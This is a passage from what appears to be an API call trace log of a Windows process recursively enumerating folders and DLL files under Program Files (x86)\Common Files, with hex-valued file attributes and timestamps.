lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.319] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.319] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0152.319] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.319] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.7", cAlternateFileName="")) returned 1 [0152.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.320] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.320] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0152.320] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.320] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.320] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.321] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.321] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0152.322] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.323] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0152.323] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.323] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.323] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0152.323] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.323] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aad17fd, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2aad17fd, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x959f4c70, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0152.325] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0152.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0152.325] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0152.325] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0152.326] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.326] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0152.326] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.326] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.326] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b285700, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b285700, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 1 [0152.326] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.326] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0152.326] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0152.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0152.327] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0152.327] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0152.327] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.327] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.327] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.327] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.327] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0152.327] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.328] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a868239, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a868239, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a868239, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0152.328] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0152.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0152.328] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0152.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0152.328] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.328] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0152.328] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.329] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.329] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdeee800, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdeee800, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x262180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0153.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0153.661] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.661] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0153.661] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0153.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0153.661] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7465328, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb7465328, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0153.662] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0153.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0153.662] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886e43c6, 